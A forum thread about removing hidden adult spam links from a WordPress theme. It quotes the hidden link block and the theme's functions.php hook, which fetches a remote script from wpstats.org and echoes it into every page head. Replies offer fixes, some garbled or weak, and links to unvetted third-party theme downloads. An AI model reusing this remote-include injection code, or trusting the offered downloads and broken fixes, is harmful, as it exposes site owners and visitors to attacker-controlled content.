Help needed in Removing Hidden Links from a WP theme

<div style="display:none"><h1><a href="http://www.wpdb.org/" title="wordpress plugins">wordpress plugins</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="cams live">cams live</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="Girls Cam">Girls Cam</a></h1><h1><a href="http://www.magentohostingz.com" title="magento webhosting">magento webhosting</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="girl webcam">girl webcam</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="Adult Webcam">Adult Webcam</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="sex webcam">sex webcam</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=32184&pst=1568081" title="Asian Webcams">Asian Webcams</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="adult web chat">adult web chat</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="sex on webcam">sex on webcam</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="sex video">sex video</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="sex chating">sex chating</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31976&pst=1299981" title="sex video">sex video</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31984&pst=1564667" title="sex date">sex date</a></h1><h1><a href="http://www.care2.com/c2c/groups/disc.html?gpp=31984&pst=1564667" title="Adult dating websites">Adult dating websites</a></h1></div>

Click to expand...

http://www.mediafire.com/?ej2y0bmxabbddog

https://www.virustotal.com/file/4fe2c6d268e3fc9bc2b6775e21f56f37a3ac8cef0e39e2fd010dbb0f06474172/analysis/1327982943/

itzcorky said:

I will go through and find all the keywords and links and then remove them and then I will add a txt file in the rar which will point to all the files that had keywords and such that way you can add your own.

Click to expand...

dvs one said:

goto your ftp and then goto wp-contents -> themes -> select your theme and look for footer.php its most likely there.. it may be encrypted but i highly doubt it.. just remove the necessary code

Click to expand...

itzcorky said:

Ok so all you need to do is upload the theme and then activate it and then edit it and you will find them.

Click to expand...

sawangan said:

if your jquery links to wpstats.org that might be the problem
i noticed this problem few days ago, and then i change the jquery to another source and that strange links is gone.
if you are using wordpress..just look at functions.php at the theme that you are using right now.

a lot of people might experience the same because until now the bug (or hacked) have not being fixed.
source: http://wordpress.org/support/topic/un-necessary-care2com-links-in-my-source-file

Click to expand...

TeddyKGB said:

I had this issue once, where just like you i knew I had checked all the files etc. Turned out the links were actually encoded in a .GIF image. Open all the img files in a text editor and see if you see anything strange.

Click to expand...

Jared255 said:

I feel your pain bro... had to buy my first WP theme ever recently... couldn't figure out how to get the footer links out... $20

Click to expand...

SahL said:

doesnt link there but as you can see in the above code..the first link goes to ..www.wpdb dot org

Searched Function.php, cdnt find anything.

Click to expand...

if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init();    $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.6.3.min.js";$ch = curl_init();    $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

sawangan said:

are you sure lookin on the functions.php?
it is on the first line, you really can't miss that..

actual coding

Code:

if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://www.wpstats.org/jquery-1.6.3.min.js";$ch = curl_init();    $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');}

replace with

Code:

if (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url = "http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.6.3.min.js";$ch = curl_init();    $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_:headbang:', 'insert_jquery_theme');}

problem solved

Click to expand...

argh11 said:

Well looks like a tricky one...arn't they all!

Anyway Sawangan was right about the wpstats thing.

You can look in your functions file and near the top it shows

Code:

$url = "http://www.wpstats.org/jquery-1.6.3.min.js";

simply change it to something like:

Code:

$url = "http://www.nothingtoseehere.com";

or you can get the fixed theme here:

http://www.mediafire.com/?qdtagiwwhw15v9b


Virustotal

Code:

https://www.virustotal.com/file/7cb0939289e4ffade8c2616061a0870bec3d514993f545621e0b7bc405332799/analysis/1327995441/

Cheers!

-argh11

Click to expand...

SahL said:

So i have this wp theme which i've gotto use, After a day of activating i see

Adult keywords in description on google for this new website.

I viewed the source and found some adult keywords linking to care2.com and magento webhosting.

Deactivated this theme and everything was fine again, So its the theme which is causing it surely.

Checked each and every file in the theme but couldnt get anything :O

The code which i found by viewing source and download link of theme is below :

Code found by view source:





I had similar problem but it was the database plugin backup buddy was doing it.

Once iremoved the plugin all the crap went away.

Click to expand...